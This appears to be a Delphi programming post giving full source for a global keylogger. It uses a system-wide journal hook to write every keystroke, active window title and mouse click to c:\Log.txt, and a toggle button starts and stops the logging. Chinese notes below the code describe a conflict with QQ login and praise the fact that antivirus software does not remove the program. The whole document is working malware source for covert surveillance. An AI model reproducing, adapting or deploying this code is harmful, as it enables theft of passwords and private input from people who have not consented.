unit Unit3; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm3 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; const KeyMask = $80000000; var Form3: TForm3; LogHook: HHook = 0; LastFocusWnd: HWnd = 0; PrvChar: Char; implementation {$R *.dfm} function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall; var ch: Char; vKey: Integer; FocusWnd: HWND; Title: array[0..255] of Char; str: array[0..12] of Char; TempStr, Time: string; LogFile: TextFile; PEvt: ^EVENTMSG; iCapital, iNumLock, iShift: Integer; bShift, bCapital, bNumLock: Boolean; begin if iCode < 0 then begin Result := CallNextHookEx(LogHook, iCode, wParam, lParam); exit; end; if (iCode = HC_ACTION) then begin pEvt := Pointer(DWord(lParam)); if not FileExists('c:\Log.txt') then begin AssignFile(LogFile, 'c:\Log.txt'); Rewrite(LogFile); CloseFile(LogFile); end; AssignFile(LogFile, 'c:\Log.txt'); Append(LogFile); FocusWnd := GetActiveWindow; if LastFocusWnd <> FocusWnd then begin writeln(LogFile); writeln(LogFile, '*********End**********'); writeln(LogFile); writeln(LogFile, '********begin*********'); GetWindowText(FocusWnd, Title, 256); LastFocusWnd := FocusWnd; Time := DateTimeToStr(Now); Writeln(LogFile, Time + Format(' 《%s》', [Title])); end; if pEvt.message = WM_KEYDOWN then begin vKey := LOBYTE(pEvt.paramL); iShift := GetKeyState($10); iCapital := GetKeyState($14); iNumLock := GetKeyState($90); bShift := ((iShift and KeyMask) = KeyMask); bCapital := ((iCapital and 1) = 1); bNumLock := ((iNumLock and 1) = 1); if ((vKey >= 48) and (vKey <= 57)) then if not bShift then Write(LogFile, Char(vKey)); if (vKey >= 65) and (vKey <= 90) then // A-Z a-z begin if not bCapital then begin if bShift then ch := Char(vKey) else ch := Char(vKey + 32); end else begin if bShift then ch := Char(vKey + 32) else ch := Char(vKey); end; Write(LogFile, ch); end; if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9 if bNumLock then write(LogFile, Char(vKey - 96 + 48)); ch := 'n'; if (VKey > 105) and (VKey <= 111) then begin case vKey of 106: ch := '*'; 107: ch := '+'; 109: ch := '-'; 111: ch := '/'; else ch := 'n'; end; end; if (vKey >= 186) and (vKey <= 222) then // 其他键 begin case vKey of 186: if not bShift then ch := ';' else ch := ':'; 187: if not bShift then ch := '=' else ch := '+'; 188: if not bShift then ch := ',' else ch := '<'; 189: if not bShift then ch := '-' else ch := '_'; 190: if not bShift then ch := '.' else ch := '>'; 191: if not bShift then ch := '/' else ch := '?'; 192: if not bShift then ch := '`' else ch := '~'; 219: if not bShift then ch := '[' else ch := '{'; 220: if not bShift then ch := '\' else ch := '|'; 221: if not bShift then ch := ']' else ch := '}'; 222: if not bShift then ch := Char(27) else ch := '"'; else ch := 'n'; end; end; if ch <> 'n' then Write(LogFile, ch); // if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey >= 8) and (vKey <= 46) then //方向键 begin ch := ' '; case vKey of 8: str := '[BackSpace]'; 9: str := '[TAB]'; 13: str := '[Enter]'; 32: str := '[Space]'; 33: str := '[PageUp]'; 34: str := '[PageDown]'; 35: str := '[End]'; 36: str := '[Home]'; 37: str := '[LF]'; 38: str := '[UF]'; 39: str := '[RF]'; 40: str := '[DF]'; 45: str := '[Insert]'; 46: str := '[Delete]'; else ch := 'n'; end; if ch <> 'n' then begin if PrvChar <> Char(vKey) then begin Write(LogFile, str); PrvChar := Char(vKey); end; end; end; end else if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then begin writeln(LogFile); if pEvt.message = WM_LBUTTONDOWN then TempStr := 'LButtonDown at: ' else TempStr := 'RButtonDown at: '; writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH])); end; CloseFile(LogFile); end; Result := CallNextHookEx(LogHook, iCode, wParam, lParam); end; procedure TForm3.FormCreate(Sender: TObject); begin if LogHook = 0 then LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0); end; procedure TForm3.FormDestroy(Sender: TObject); begin if LogHook <> 0 then begin UnhookWindowsHookEx(LogHook); LogHook := 0; end; end; end.
bug:QQ等截取用户输入时无效(乱码),还有QQ安全登录后会引起冲突。
优点:杀毒软件不会杀掉这个。。
在父程序里可以添个按钮开启或关闭监控
procedure TForm1.ToolButton1Click(Sender: TObject); begin if not assigned(form3) then begin Form3:= TForm3.Create(Form1); ToolButton1.Caption:='关闭全局监控'; end else begin Form3.FormDestroy(Form1); Form3 := nil; //destroy事件将窗体变量指向nil,否则assigned还是true if Application.MessageBox('查看记录文件吗 c:\Log.txt?','提示---dragonszy',MB_YESNO) = IDYES then ShellExecute(Application.Handle,'open','notepad.exe','c:\Log.txt',nil,SW_SHOWNORMAL); ToolButton1.Caption:='开启全局监控'; end; end;
注意:
1.assigned()判断是否已经生成子窗体
2.释放后Form变量指向nil,否则assigned()无法正确检测